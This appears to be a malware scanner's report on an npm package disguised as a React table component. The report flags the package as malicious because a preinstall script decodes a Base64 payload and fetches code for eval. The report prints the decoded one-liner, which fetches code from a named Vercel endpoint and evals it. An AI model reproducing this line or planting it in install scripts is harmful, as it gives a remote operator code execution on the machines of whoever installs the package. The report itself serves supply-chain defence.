It downloads arbitrary remote text and executes it with eval, allowing unbounded install-time code execution. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-07-22T12:56:12.199Z - **Finished:** 2026-07-22T12:56:33.968Z - **Download time:** 505 ms - **Static scan time:** 21 ms - **AI review time:** 21242 ms - **Total time:** 21769 ms ## Security analysis ### Published attack-surface review - **Summary:** npm installation triggers an obfuscated preinstall script. It downloads arbitrary remote text and executes it with eval, allowing unbounded install-time code execution. - **Trigger:** npm preinstall during package installation - **Impact:** Remote operator can execute arbitrary JavaScript in the installing user's environment. - **Evidence paths:** package.json, dist/index.d.js, dist/index.js, dist/index.mjs - **Review source:** ai\_review - **Reviewed:** 2026-07-22T12:56:33.968Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Base64-obscured remote fetch followed by eval - **Attack narrative:** The manifest runs dist/index.d.js automatically at preinstall. That file decodes an obfuscated payload which fetches attacker-controlled content from a Vercel endpoint and evaluates it, creating install-time remote code execution. - **Rationale:** This is concrete, concealed install-time download-and-execute behavior unrelated to a React table UI. The benign runtime bundle does not mitigate the preinstall RCE. - **Files touched:** package.json, dist/index.d.js - **Network endpoints:** https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** package.json defines preinstall: node ./dist/index.d.js., dist/index.d.js Base64-decodes an async fetch-and-eval payload., The decoded payload fetches https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2 and evals its response., The malicious installer is separate from the declared React table runtime entrypoints. - **Evidence against:** dist/index.js and dist/index.mjs contain only the documented React table component., No local credential harvesting, file writes, or agent-control configuration mutation was found in inspected files. ## Public findings ### 1.

Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** dist/index.d.js\#virtual:base64:round1 - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```text Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )(); ``` ### 6. High: Base64 Obscured Url - **Category:** Source - **Confidence:** 82.0% - **Path:** dist/index.d.js - **Public source:** [View source]() Source decodes a Base64-obscured HTTP endpoint at runtime. Public source snippet (untrusted): ```javascript L3: const b4 = '[redacted]=... L4: const text = Buffer.from(b4, "base64").toString("utf-8"); L5: let nms = [101, 118, 97, 108] ``` ### 7. Low: Obfuscated - **Category:** Supply Chain - **Confidence:** 40.0% Package source has low-confidence obfuscation-like patterns. ### 8.
